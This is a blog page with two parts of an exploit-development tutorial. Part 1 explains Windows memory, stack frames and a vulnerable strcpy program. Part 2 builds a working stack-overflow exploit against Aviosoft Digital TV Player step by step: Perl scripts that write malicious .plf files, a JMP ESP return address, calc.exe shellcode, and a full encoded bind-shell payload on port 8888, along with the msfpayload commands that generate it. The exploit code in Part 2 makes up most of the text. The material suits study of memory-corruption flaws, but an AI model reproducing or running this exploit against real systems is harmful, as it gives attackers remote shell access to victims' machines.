Showing posts with label Exploit Development Tutorial Series. Show all posts
Showing posts with label Exploit Development Tutorial Series. Show all posts

Monday, February 18, 2013

Stack Overflows - Part 2 : Executing The Shellcode


In the part 1 , we talked about lot of basics of stack overflow and some of the theoritical concepts that will help us get into it little deeper . We stopped at the point where we had exception thrown from the debugger . In this part , we will see how to translate this vulnerability into a working exploit and make the vulnerable software execute our own code.

As an example , we will use the stack overflow vulnerability discovered in Aviosoft Digital TV Player Professional 1.x reported here . You can get the copy of vulnerable application and PoC exploit over here. This software has the stack based buffer overflow vulnerability when opening the specially crafted and malicious .plf file which can lead to the arbitrary code execution on the machine running this software if it opens the specially crafted .plf file .

The primary reason I selected this is that it is a very simple exploit which serves as a perfect example for the beginners to understand the process of building the working exploits. We will walk through the process step by step and build the exploit from the scratch .

System setup

To be able to reproduce and trigger this vulnerability , I would recommend using Windows XP SP2 as the victim system . This is precisely because of the fact that this version of the Windows XP does not have some of the stack overflow protection mechanisms that is introduced in SP3 and later . In case if you still wish to use SP3 as your victim system , you must turn off Data Execution Prevention ( DEP ) . Windows XP SP3 has the DEP turned on by default for all the services . If you turn this off , you are good to go ahead ..

Next , I am using Backtrack 5 as my attacking system . I 'll be using perl / python environment to write the exploits and Metasploit to build the shellcode. Both of these are virtual machines bridged to be able to talk to each other . You need not to have the exact similar setup and it should be pretty Ok to use whatever you have as long as you are able to translate this demo to your systems . Along with the vulnerable software installed in the victim system , We also need any one of your favourite debuggers to be installed . It could be either Immunity / Windbg / Ollydbg . I would suggest you install alteast Immunity and ollydbg debuggers in your VM. Immunity debugger has a very powerful plugin interface scriptable in python and several python scripts available already to make our exploit developement lot more easier.

Triggering the vulnerability

First step towards building a working exploit is to verify the vulnerability and make sure that the application is throwing an exception / crashing when it is supplied malicious or specially crafted .plf file. You should be able to find the information about the vulnerable copy of the software from the relevant page on exploit db. I wrote the following simple perl script , which will write the content into the .PLF file









This simple perl script will create the .PLF file with 500 bytes of data. I wrote 500 "A"s ( Hex : 0x41) into the .PLF file .  Next , we open the software in the debugger ,run it and feed this file into the Aviosoft Digital TV player :














And we see the application has crashed throwing the exception and debugger is in control of the program as it catches the exception .











If we take a look the crash in Windbg , it will look like this :











At this point , application throwed the "Access violation" exception which is being caught and reported by the debugger because application couldn't read the memory at location 0x41414141 . It read our .PLF file into the buffer and because it did not check on the number of bytes that it read on the stack , it overwrote the application's stack with the junk data ( several 0x41s in this case ) which has ultimately gone and overwrote the Instruction pointer ( EIP register ) . If you observe the stack pointer , ESP has 0x0012F274 which also points at an offset in our supplied buffer of junk data.

Another point worth noticing over here is that before trying the file with 500 bytes of data , I also tried with 100 and 200 bytes of data but the application did not crash . This effectively means that the application will die if we supply the file which contains somewhere between 200 to 500 bytes of data. This information will eventually help us to figure out the exact offset in our buffer at which the Instruction pointer is overwritten.

We need to be aware that not every application crash is exploitable though . It may be just a denial of service , but in lot of cases it is . Our goal here is to utilize this crash and make the application do something which it is not intended to. We will look to redirect the execution flow of the application to execute the code that we want . To achieve this , primarily information that we need to have is : The exact offset at which the Instruction pointer is overwritten . This is the basic requirement for controlling the execution flow of the program . If we are able to figure this out , we can overwrite the EIP , exactly at that offset , with the usable memory address that contains the instruction which can help us Jump to our code.

In the previous tutorial , we knew the exact size of our buffer and we could easily guess the offset at which the EIP should be overwritten but in this case , we have no information on the size of buffer . Also , the overflowed stack has all "A"s at the moment. It is not going to be easy to figure out the offset ,  until we break the buffer down to multiple pieces to get the better idea .

Determining the buffer size and exact offset to overwrite the Instruction pointer

We will modify the perl script to break the buffer into smaller portion and each portion will contain the different set of bytes and then we'll append them to create larger one :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 250;
my $buffer_2="B" x 150;
my $buffer = $buffer_1 . $buffer_2;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with" . length($buffer) . "bytes of data\n";
close($FILE);

We attach the software to the debugger again and load the .PLF file created with above exploit.










This time , we supplied 400 bytes of data with two different sets of byte patterns and the application still crashed with EIP  overwritten with 0x42424242. Now we are sure that buffer size is somewhere between 250 and 400 bytes . i.e the offset to overwrite the EIP should be between 250 to 400 bytes . We still narrow down the gap with little modification to the script as below :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 250;
my $buffer_2="B" x 50;
my $buffer = $buffer_1 . $buffer_2;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with" . length($buffer) . "bytes of data\n";
close($FILE);

And the result is the crash with EIP : 0x42424242 . We now have much better visibility . Our offset should be within 250 to 300 bytes . Will little more similar experiments , I eventually  figured out that the offset at which the EIP is written is 260 bytes within our buffer. Crash in Windbg will look like this :












ESP contains 0x0012F274 as we noticed before and if we dump the contents of the stack we will see the ESP pointing to the portion of our supplied buffer of Bs ( Hex 0x42 ) :









This was little time consuming since we had to make several guesses to come out with the correct offset . We have another better and a direct way to do this .We can determine the correct offset right at the first shot using the Metasploit  " pattern_create.rb" and " pattern_offset.rb" tools .. pattern_create.rb is supplied with buffer size as an argument and it will generate the unique pattern of strings . We can use that string in our exploit and we'll be able to figure out the exact offset right at the first attempt . On Backtrack 5 , you need to go to the /opt/metasploit/msf3/tools directory and run the pattern_create.rb with the size of the string to output :






We can use this generated pattern in our exploit :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"

open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with" .  length($buffer)  . "bytes of data\n";
close($FILE);

We load the application again in the debugger , launch the exploit and this is what we'll see again.








Instruction pointer now has 0x37694136 . Recall the concept of little endian Vs big endian we discussed in the previous part. The fact is EIP is overwritten with 0x36416937 since the Intel processors stores the data in the memory in little endian format. We now have the unique string with us to search for in the buffer and we can determine the offset with metasploit "pattern_offset.rb " tool . 












By now , we should be able to clearly understand the fact that the exact buffer size we need to overwrite the EIP is 260 . Another thing that we need to figure out is the offset at which the ESP is pointing to our buffer . By doing this , we would exactly know where to place our shellcode on the stack . If we observe the stack in Windbg , that is what we have :












ESP , at this point has 0x0012F274 which is pointing to the part of our buffer . I dumped the stack at this address and the value is 0x6A33416A ..We will again use the metasploit pattern_offset.rb tool to determine the exact offset in our buffer pointed by ESP . Again , remember the fact that the data is stored in the little endian format . so we need to search for 0x6A41336A while using the metasploit tool . I ran patter_offset.rb  and here is the offset I found on my system :











Ah Wow !! ..With all the previous excercise that we did , we now have information about two very critical things :

1 . We know that the buffer size is exactly 260 bytes before EIP is overwritten . This translates to the fact that , at this offset , we can overwrite the return address with something useful. We'll see that in a moment.
2 . Another info we have at this point is :  ESP is pointing at an offset 280 in our buffer. We will use this fact to place our shellcode and finally make the program jump to it to execute that code. We'll see that too in a moment .

Before we go ahead , let's do a final verification on this info . I'll craft the buffer in the following way :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;  
my $buffer_2="B" x 4;       
my $buffer_3="C' x 16;
my $buffer_4="Our Shellcode is here"; 
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

We are expecting two things out of this exploit :

1 . EIP should have the value 0x42424242 . we crafted the buffer with 260 bytes of "A" and then 4 bytes of "B" with which EIP should be written.
2 . ESP should point to the string "Our Shellcode is here" on the stack . This is where we will place our shellcode to execute .

I launched the exploit in Windbg and here is what I saw:

Wow !!..This is what we exactly wanted..we got the access violation and EIP has the value 0x42424242 and ESP is pointing to our string as we expected. Now think about this  :  At this location , if we place our shellcode ( i.e the code that we want this application to execute ) and if we overwrite the EIP with the address to the instruction that can jump to our shellcode , we are done !! .

Important point to remember here is that when the application crashes , we need to see if EIP written with the supplied buffer..If it is , we can control EIP with the value that we want . Next , we need to see all the registers and check which one them is pointing to the portion of our buffer . In this case it was ESP but it could be EAX , EBX or other register . Once we have both of these , all we need to do is overwrite the EIP with the address of the instruction that can jump to our shellcode and over !! ..However , stack overflows are not always that easy ..There are few things that we need to take care of above this : Bad characters , Null bytes in shellcode , available limited  buffer space to host our shellcode etc. We'll come to these topics and see how to overcome them ..

How much memory space do you have to host your shellcode ?

This is another question that we need to get the answer for. This will help us figuring out how long our shellcode can be . Assume that the code we want the application to execute ,  becomes too large to fit into the limited buffer size , then we may need to reduce its size so that it can fit itself or we need to look some for other alternatives. Let's try and determine how much buffer space we have in this case . This will exactly help us gain the visibility on how large our shellcode can be . I did slight modification in the script :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;  # buffer space before EIP
my $buffer_2="B" x 4;      # EIP overwritten with this value
my $buffer_3="C' x 16;
my $buffer_4="D" x 600;  # ESP is pointing here
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

When I launched the exploit again , I saw the ESP pointing to string of "D" and stack is filled up with it all the way down. This basically confirms that we have over 600 bytes of buffer space to host our shellcode. We are all good.















Finally...Buiding the Exploit.

Since we see ESP currently with the value 0x0012F274 , directly pointing to our supplied buffer , one of the very first thing that we would like to try is overwriting the EIP with the value of the ESP and trying to redirect the code execution..Let's actually craft the exploit and see what happens . I am modifying the script in the following way :

#!/usr/bin/perl

my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;  # buffer space before EIP
my $buffer_2="\x74\xf2\x12\x00";      EIP overwritten with this value
my $buffer_3="C' x 16;
my $buffer_4="D" x 600;  # ESP is pointing here
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

Remember that the data is stored in the little endian format ..So we need to write the address other way round ( in reverse order ) to be able to save it on the stack in the correct order.











If you observe the debugger output I got after launching this exploit , we managed to overwrite the EIP with the value that we wanted to ( 0x0012F274 in this case ). ESP is also pointing to the same location and you see that it tried to execute the instruction at that location but generated the exception ..If we dump the ESP , I dont see all the "D"s that I expected and we saw a while back . This is because of the fact that our buffer had a Null byte in the address which acted as a string terminator . .PLF file was read into the memory and since this is a string buffer , it got terminated as soon as it encountered the null byte in the address and the buffer wasn't copied any further which makes the exploit useless.

Above this , overwrite EIP with the direct address of the stack has multiple problems :

-- This address is not static . You may see ESP pointing to the different address on the different OS versions.
-- Jumping to direct memory address is a bad idea because of the fact that when you are exploiting remotely, you dont know where the application stack is allocated and where the ESP is pointing to ..

So this solution will not work for us because of the null byte problem and exploit wont be reliable as well . Alternative way we can redirect to our code is to search for the JMP ESP instruction in the process memory or in the memory of the loaded application modules ( DLLs ). If we overwrite the EIP with the address of the JMP ESP instruction , after it executes that instruction , ESP will be placed into EIP and we can execute our own code . Let's search for the JMP ESP instruction using ollydbg . While searching for this , we need to make sure that the address does not contain any Null ( 0x00) bytes.








Once is application is running in the debugger , we see lot of application specific modules loaded in there..When you are searching for the JMP ESP instruction , it is always preferable to use the DLLs that comes with the application rather than system DLLs ..This is because these DLLs are usually not compiled with ASLR and SafeSEH enabled ..In effect , these will make our exploit lot more reliable .









I searched for this instruction in EqualizerProcess.dll which comes with the software , and found the JMP ESP instruction at address 0x02365005..Address could be different in your system. With all this info , I will build the final exploit that will have the shellcode to launch calc.exe . Here is the final script :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;  # Junk data
my $buffer_2="\x05\x50\x36\x02";      # EIP overwritten with the address of JMP ESP
my $buffer_3="\x90" x 16;            #NOP padding 
my $buffer_4="\x31\xc0\x50\x68\x63\x61\x6c\x63\x89\xe3\x50\x53\xbb\x85\x25\x86\x7c\xff\xd3\x50\xbb\xfa\xca\x81\x7c\xff\xd3"; # ESP points here . Shellcode to spawn calc.exe
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

When I again launched the exploit :










We've successfully exploited the buffer overflow vulnrerability in Aviosoft Digital TV Player..but what if we want to do something more interesting than just launching calc.exe? Let's use metasploit payload generator and generate the shellcode that can open a port and bind a shell on the victim system..Metasploit payload generator can generate variety of shellcode with different parameters depending on what you'd want to do .On Backtrack 5, go to the /pentest/exploits/framework2/ and fire the following command to look at the list of payloads available for various OS..

#msfpayload -l

We can generate TCP shell bind payload which will bind the shell on port TCP port 8888 on victims' machine . Use following command.

#msfpayload windows/shell_bind_tcp LPORT=8888 P

LPORT is the local port on which it should listen and P is the output in the perl format . Here is the shellcode that you get in the perl format :




















Notice that the shellcode size generated here is 341 bytes which is long if we have the limited buffer space available with us.In this case size of the buffer is not the problem but notice the Null bytes right in the first line of our shellcode ..This is a serious concern. If we place this shellcode in our exploit, it wont work because null byte will act as the string terminator and rest of our buffer will not be copied on the stack . We should avoid atleast \x00 , \x0a, \x0d in our shellcode since these are default bad characters . There could be other bad characters as well which we will have to figure out by comparing our original generated shellcode with the shellcode existing in the memory. For now , to overcome this we will use the raw output and pipe this into the msfencode to remove the bad characters with followng command :

msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode  -b '\x00\x0a\x0d' -t perl

This will give the output in the Perl format and see that now there are no null bytes but size of the shellcode has increased .






















Metasploit generates different output of the shellcode during each successive runs.So you shouldn't be afraid if you see different shellcode on your machine every time. I compared the shellcode in the memory with that in our exploit and I found one more bad character: \x1a. and with that I fired following command again to generate the shellcode free from this character :

msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode  -b '\x00\x0a\x0d\x1a' -t perl

and ended up with the working shellcode. Here is our final exploit :


#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $junk="A" x 260;  # Junk data
my $EIP="\x05\x50\x7d\x02";
my $nop="\x90" x 50;   # Make sure you have enough NOPs before the shellcode for the decoder to work correctly while in memory , else the exploit will fail . 

my $shellcode = "\xdb\xd2\xba\x9a\xe7\x37\x15\xd9\x74\x24\xf4\x5b\x33\xc9" .
"\xb1\x56\x31\x53\x18\x83\xeb\xfc\x03\x53\x8e\x05\xc2\xe9" .
"\x46\x40\x2d\x12\x96\x33\xa7\xf7\xa7\x61\xd3\x7c\x95\xb5" .
"\x97\xd1\x15\x3d\xf5\xc1\xae\x33\xd2\xe6\x07\xf9\x04\xc8" .
"\x98\xcf\x88\x86\x5a\x51\x75\xd5\x8e\xb1\x44\x16\xc3\xb0" .
"\x81\x4b\x2b\xe0\x5a\x07\x99\x15\xee\x55\x21\x17\x20\xd2" .
"\x19\x6f\x45\x25\xed\xc5\x44\x76\x5d\x51\x0e\x6e\xd6\x3d" .
"\xaf\x8f\x3b\x5e\x93\xc6\x30\x95\x67\xd9\x90\xe7\x88\xeb" .
"\xdc\xa4\xb6\xc3\xd1\xb5\xff\xe4\x09\xc0\x0b\x17\xb4\xd3" .
"\xcf\x65\x62\x51\xd2\xce\xe1\xc1\x36\xee\x26\x97\xbd\xfc" .
"\x83\xd3\x9a\xe0\x12\x37\x91\x1d\x9f\xb6\x76\x94\xdb\x9c" .
"\x52\xfc\xb8\xbd\xc3\x58\x6f\xc1\x14\x04\xd0\x67\x5e\xa7" .
"\x05\x11\x3d\xa0\xea\x2c\xbe\x30\x64\x26\xcd\x02\x2b\x9c" .
"\x59\x2f\xa4\x3a\x9d\x50\x9f\xfb\x31\xaf\x1f\xfc\x18\x74" .
"\x4b\xac\x32\x5d\xf3\x27\xc3\x62\x26\xe7\x93\xcc\x98\x48" .
"\x44\xad\x48\x21\x8e\x22\xb7\x51\xb1\xe8\xce\x55\x7f\xc8" .
"\x83\x31\x82\xee\x01\x7a\x0b\x08\x2f\x6a\x5a\x82\xc7\x48" .
"\xb9\x1b\x70\xb2\xeb\x37\x29\x24\xa3\x51\xed\x4b\x34\x74" .
"\x5e\xe7\x9c\x1f\x14\xeb\x18\x01\x2b\x26\x09\x48\x14\xa1" .
"\xc3\x24\xd7\x53\xd3\x6c\x8f\xf0\x46\xeb\x4f\x7e\x7b\xa4" .
"\x18\xd7\x4d\xbd\xcc\xc5\xf4\x17\xf2\x17\x60\x5f\xb6\xc3" .
"\x51\x5e\x37\x81\xee\x44\x27\x5f\xee\xc0\x13\x0f\xb9\x9e" .
"\xcd\xe9\x13\x51\xa7\xa3\xc8\x3b\x2f\x35\x23\xfc\x29\x3a" .
"\x6e\x8a\xd5\x8b\xc7\xcb\xea\x24\x80\xdb\x93\x58\x30\x23" .
"\x4e\xd9\x40\x6e\xd2\x48\xc9\x37\x87\xc8\x94\xc7\x72\x0e" .
"\xa1\x4b\x76\xef\x56\x53\xf3\xea\x13\xd3\xe8\x86\x0c\xb6" .
"\x0e\x34\x2c\x93";

my $buffer=$junk . $EIP . $nop . $shellcode;
open($FILE,">$file");
print $FILE  $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

Restarted the debugger and launched the exploit again :












And boom !!. Game is over !! ..Here you see the victim machine has opened the TCP port 8888 and is now listening on that port ..









Let's check if we can get the shell on that port as promised by the shellcode. I did a Telnet from another machine to victim on port 8888.

#Telnet 192.168.246.137 8888





This is it..Hope you'd now be able to build your own working exploit ..In the next part , we'll take a look into some of the other aspects of Stack overflows and few debugger plugins which can make your life lot more easier..

Wednesday, November 28, 2012

Stack Overflows - Part 1 : The Basics


I wanted to start the Exploit development learning series since quite some time ..Eventually , I've managed to get some time out of the work to start with the tutorial series ..With this , I plan to go through the series of excercise and concepts and help the beginners learn the basics of Exploit development and advance concepts in exploitation ..

Disclaimer : I would want to mention here that these tutorials are only for the educational purpose . Knowledge acquired through this series should never be used for hacking into the networks / computers or performing similar illegal activities . You should continue to read only if you agree with this disclaimer.

Historically , Stack based buffer overflows have been the most prevalent class of security bugs in the software and have been around for as long as C Language ..Numerous methods and techniques have been published to exploit Stack based buffer overflows .. for instance , Phrack papers etc ..Even today , this is one of the category of bugs which has remained to be widely exploited ..I am starting with some of the theoritical concepts and then we'll move on to the more advance stuff as we go ..

Windows Memory Layout

A developer basically visualizes the Windows memory layout as the flat memory model where , in a 32 bit system , processor can generate and access any memory address within the range from 0 to 2^32 . i.e from 0x00000000 to 0xFFFFFFFF. Internally , Windows uses techniques known as Memory Segmentation and Paging in order to divide the memory into protected segments called : Code segment , Data segment and Stack segment. While each process resides in the virtual address space of its own , it is not allowed to access the address space of another process and same for all other processes residing in the memory so that  they do not end up corrupting the data structures of other process. The access control to the memory segments was primarily controlled by Segmentation ( In systems based on older processors )  but now everything lies in the Paging. If we visualize the flat memory layout of Windows , it looks like this :

















However , in the flat memory model , Windows NT used to implement 32 bit of continuous and  linear addressible space and 286/386 class of Intel processors had a 32 bit address bus which could access any memory address in absence of Segmentation / Paging techniques. This is basically done through the processor segment registers which are loaded with the 2 byte segment selectors used as an index to segment descriptor tables , thereby translating 32 bit logical addresses into linear address . All of these were taken care of in the hardware which allows the programer to assume the address space as the flat memory model.

As we can visualize from the above picture , 0x00000000 to 0x7FFFFFFF is called the User space memory which consist of process image , process stack / heap , per thread stack, DLL code, and user land process data structures while the address space above that is called Kernel space memory where the kernel code resides.

As a side note , the saperation between user space memory and kernel space memory is implemented via Paging technique ..precisely a flag in the page directory entries ( PDEs ) marks this boundary ..Let's not worry about all that stuff now..

Process Memory in Windows

In Windows environment , each process is loaded by OS in its own virtual address space. As I said above , this is the user space memory which means the process will be able to see the entire address space from 0x00000000 to 0x7FFFFFFF as the linear address space and the memory higher than that belongs to the kernel which user land process does not have an access to .

When the process is created  , additional per process data structures like Process Environment block ( PEB ) and Thread Environment block is also created ..These data structures are of the prime interest to the exploit developers . The way they use the PEB is to access the PEB_LDR_DATA which contains all the information about the loaded DLL modules within the process and the shellcode accesses this data structure to retrieve the base address of any DLL ..Perhaps they could access the base address of kernel32.dll and then loadlibraryA to perform some interesting stuff !! :-)..

This is how any Win32 process memory map will look like :


















Memory area marked as "Program Image" is where the program code and everything else that is immediately visible about the program resides .

Data section : This is the writeable section of the load binary where all the initialized  / static / global variables of the program are located. For instance , the C program statement : int a = 2 , char buff[]="Hello" static int a = 1; etc  are stored in the data section .

Code section :  This is segment of the program where all the compiled code is located.

BSS section : This is the area where all the uninitialized variables of the program is stored. C program statement like : int a ; static int a ; etc ..are located in BSS section ..

RSRC section : This is resource section of the PE file which contains the information related to UI of the program : icons , menus , dialog boxes , cursor, fonts and things like that .

Heap section : This is the area in the memory where all the dynamically allocated data is stored..For eg the memory allocated by malloc() is in this space.

The Stack

Stack is the area in the process memory and per process data structure , which allows the process to access the data in the LIFO fashion . i.e Last In First Out : meaning , the most recent data stored on the stack is removed first from there ..There are two primary operations that are done on the Stack : PUSH and POP ..Both of these are CPU instructions which manipulates the stack .

When a process is created , the stack size is comitted and memory is allocated for process to store the data on it . Intel processors has 32 bit register called ESP ( Extended Stack Pointer ) which points to the top of the stack memory. When PUSH operation is performed , data is stored on the stack and ESP is decremented , since the stack grows towards low memory address. When POP operation is performed , data is accessed from the stack and ESP is incremented .













Following are the basic uses of the Stack memory :

1 . When any subroutine is called using CALL instruction, the arguments passed to the subroutine are PUSHed on the stack.
2 . The next memory address to which the caller should return after executing the subroutine, is also stored on the stack before calling that subroutine.
3 . During the execution of the subroutine , the memory for storing the temporary local variables is allocated on the stack .

Also, it is important to note that Stack is the temporary storage , and the memory is wiped off after returning from the subroutine. We will quickly walk through the Intel x86 registers and then with the example code , we will see how exactly the stack frame of the function is established.

Intel x86 architecture General purpose registers and Intruction pointer

Processor registers are the memory storage areas used to store the data for several arithmatic & logical operations performed by processor. Since they are built into the processor itself , the access to this registers is very fast. Intel x86 architecture has 8 general purpose registers and an Intrustion pointer register which points to the next intruction to be executed .

EAX : known as Accumulator register . Usually used to store the value of the arithmatic and logical operations on the data as well as the return values from the functions.
EBX : base pointer to the data section of the program. Normally used to store the data
ECX : used as the counter to string and loop operations ..ECX stores the value which is decremented for loop operation.
EDX : used as I/O pointer . Also used to perform little complex calculations ( multiply / divide etc..)
EBP : Stack frame base pointer register.It points to the start of the function stack frame and also used to access the function arguments via offsets.
ESP : Stack pointer. As discussed before , ESP always points to the top of the stack.
ESI : Source pointer for string operations ( string copy , string comparison etc..)
EDI: Destination pointer for string operations ( string copy , string comparison etc. )
EIP : Instruction pointer register which points to the next instruction to execute.


Visualization of stack memory with example code

Let's see the behaviour of the stack and operations performed on it with the example C code. I am using the following C code compiled with Microsoft Visual Studio 2010 Express edition.

int main (int argc , char *argv[])
{
char buffer[20];
strcpy(buffer , argv[1]);
if (!strcmp(buffer,"password"))
{
printf("Login Successful...\n");
return 1;
exit(1);
}
else
{
printf("Access denied..password incorrect..\n");
return 0;
exit(0);
}
}

If we open the binary in the debugger and look at the code , we see that the pointers to argv[] and argc are pushed on the stack before calling main()..Since this binary accepts the command line arguments , I am passing it in the debugger as follows :

we need to navigate the menu Debug --> Arguments, and we can pass the command line parameters to the binary:








Next the argc and argv are pushed on the stack :








If you cannot read the code , here is how it looks like :

PUSH EAX
MOV ECX, DWORD PTR DS:[argv] --- > argv moved to ECX register
PUSH ECX                ------>  ECX pushed on the stack
MOV EDX, DWORD PTR DS:[argc] ----> argc moved to EDX register
PUSH EDX                 ------>  argc pushed on the stack
CALL Buffer_O.main  ------ > Call main ()
ADD ESP, 0C

Our stack at this point of time will look like this :















Next , before calling main() , address of the instruction next to CALL, is pushed on the stack so that it knows where to resume execution after returning from main() . Stack will look like this:















At this point , if we take a look at the stack in the ollydbg debugger , here is how the stack is setup while calling main() function . If you observe the bottom right windows of the debugger , it is the stack window and  the highlighted portion of the stack shows the pushed EIP and the two arguments to the main .











Code window in the above picture is actually the disassembled code of the main() . If we examine some of the initial lines of the assembly code, we can relate it to the C souce I showed a while back.

PUSH EBP
MOV EBP, ESP
SUB ESP, 54
PUSH EBX
PUSH ESI
PUSH EDI                                                  ;  ntdll.7C910228
MOV EAX, DWORD PTR SS:[EBP+C]              ;  kernel32.7C81776F
MOV ECX, DWORD PTR DS:[EAX+4]
PUSH ECX                                                  ; /src = "L+7"
LEA EDX, DWORD PTR SS:[EBP-14]                            ; |
PUSH EDX                                                  ; |dest = 00000002
CALL Buffer_O.strcpy                               ; \strcpy
ADD ESP, 8
PUSH Buffer_O.0040316C                          ; /s2 = "password"
LEA EAX, DWORD PTR SS:[EBP-14]                            ; |
PUSH EAX                                                  ; |s1 = "X17"
CALL Buffer_O.strcmp                              ; \strcmp
ADD ESP, 8
TEST EAX, EAX
JNZ SHORT Buffer_O.00401050
PUSH Buffer_O.00403154                           ; /format = "Login Successful...\n"
CALL DWORD PTR DS:[<&MSVCR100D.printf>]          ; \printf

Within the main , as shown in the marked code , function prologue is executed wherein EBP is pushed on the stack thereby creating the new local stack frame for main and then ESP is moved to EBP . At this point , ESP and EBP both points to the same location . Remind yourself again that stack always grows towards low memory address and when something is pushed , ESP will be decremented by 4.

Here , Stack will look like this : You can also view the stack state in the debugger and examine the ESP and EBP registers . 


















At the third instruction , ESP is further substracted by 0x54 and allocates the space for local variable buffer that we've declared in the source. Once this instruction is executed , below is how the stack will appear : Highlighted area in the debugger stack window is the space allocated for the variables.















In the next few lines of the code , we see the strcpy ( ) is being done from argv[1] to buffer , and then the string comparision is done after which appropriate printf call is executed . What we need to remember here is that for every function that is called from within the main , stack frames are created in exactly the similar way as demonstrated above . When the function returns , the stack is wiped off and EBP/ EIP is popped from the stack to resume execution thereafter.

Overflowing the buffer with long command line parameters

Now that we have the knowledge of how the stack frame is established , it will be lot more easier for us to understand what will happen if we pass long command line arguments to main . Until now we were OK since we passed the string with length of 8 bytes and our buffer is 20 bytes long..If we pass the string of say 30 bytes as the command line parameter to main , we are sure that we will overwrite past the allocated buffer space , EBP and finally saved EIP as well and even the way beyond if our string is longer. If we visualize the stack after the strcpy ()  operation , it will be like this :

Important point to note here is that , overflow will happen from lower memory address to higher memory address .















Let's  pass the long command line parameter and check the stack state and the behaviour of the debugger. You should pass the parameter to this program in the similar way I described previously. I passed the string of "A" ( Hex : 0x41 )  with the length of 45 and here is what happened in the debugger .













Ahaa !! ..We've overwritten the buffer with the long string of "A" passed as the parameter to main and effectively to strcpy () , which overflowed the buffer and eventually gone and overwrote the  saved return address ( EIP ) . So when the main returned , the EIP was popped off the stack and it throwed the exception because of the fact that it couldn't read the memory at that location. You can also see the bottom right stack window where the allocated memory was filled up with 0x41 ( Hex value of "A" ) and ESP pointing to our overflowed buffer . This is exactly what we will use to exploit the buffer overflow and jump to over shellcode . We'll see that later in the next part :-)

So what exactly happened here ? Let's closely step through the code and examine what caused the debugger to throw the exception . We will breakpoint the strcpy operation and examine the stack just before this operation , to get some clarity .

I restarted the program , breakpointed at strcpy operation :




If you closely take a look at the arguments of strcpy operation , source is our passed string of "A"s which we want to copy , and the other argument is the destination memory location 0x0012FF54 on the stack where the string is to be copied . Just observe the stack at this time . This is before the copy is done . Few locations below our destination pointer at 0x0012FF6C , we have the return address saved . As I indicated before, the copy will be done from low mem to high mem addresses. Once the strcpy will be executed , this location will be overwritten with our string of "A"s .












If you notice the state of the stack after strcpy , it is filled up with our supplied parameter and the stack location 0x0012FF6C , which previously had the return address stored , now has 0x41414141 . Futher , if you step through the code , it will perform the strcmp and print the appropriate message and finally , the funtion epilogue is executed :

MOV ESP, EBP
POP EBP
RETN

EBP is moved to ESP register , top of the stack is then popped into EBP which contains 0x41414141 as well and then when finally RETN is executed ESP is pointing to 0x0012FF6C which contains 0x41414141 , is popped into EIP . Debugger will throw the exception when trying to read 0x41414141.

So through this simple vulnerable code , I demonstrated  that we can control the EIP and overwrite with the memory address that we choose . In this example , it is easier for us to find the exact offset in our parameter to overwrite the EIP. We know that our buffer is exactly 20 bytes long . if we add 4 bytes of EBP to that , we should be able to overwrite the EIP at 25th byte in our string ..Let's try that out ...

I'll pass the string with 24 bytes of "A" s + 4 bytes of "B" ..and we'll see that EIP is overwritten with the 0x42424242.













That is what we expected. At this point of time , we've just triggered the buffer overflow in our vulnerable code. Next step is to exploit this vulnerability and modify the execution flow of the program to execute our own shellcode . If the command line argument is longer than 28 bytes , you will see that ESP is pointing to some offset in our string and we can exploit that to modify the execution flow of the program and do what we want it to. We'll see how to achieve it in the next part of this series.

 Little endian Vs Big endian

This is another little concept that we need to understand before we dive deep into exploitation.Little endian and Big endian are the order in which the bytes are stored in the memory and is often dependent on underlying hardware architecture .

In a Big endian hardware , the most significant byte of the word / dword is stored first as lowest memory address and then the subsequent bytes are stored at the increasing memory locations.For instaance , if you visualize big endian format memory storage for dword 0x41424344 , starting at memory location 0x0012FF6C , it will be stored in the following format :

0x0012FF6C  : 0x41
0x0012FF6D  : 0x42
0x0012FF6E  : 0x43
0x0012FF6F  : 0x44

If you take the memory dump of the bytes stored in big endian format , you will find 0x41424344 stored like this in the memory :

 ADDRESS         : ---- MEMORY BYTES ----------
0x0012ff6c : 41 42 43 44 00 00 00 00 00 ...
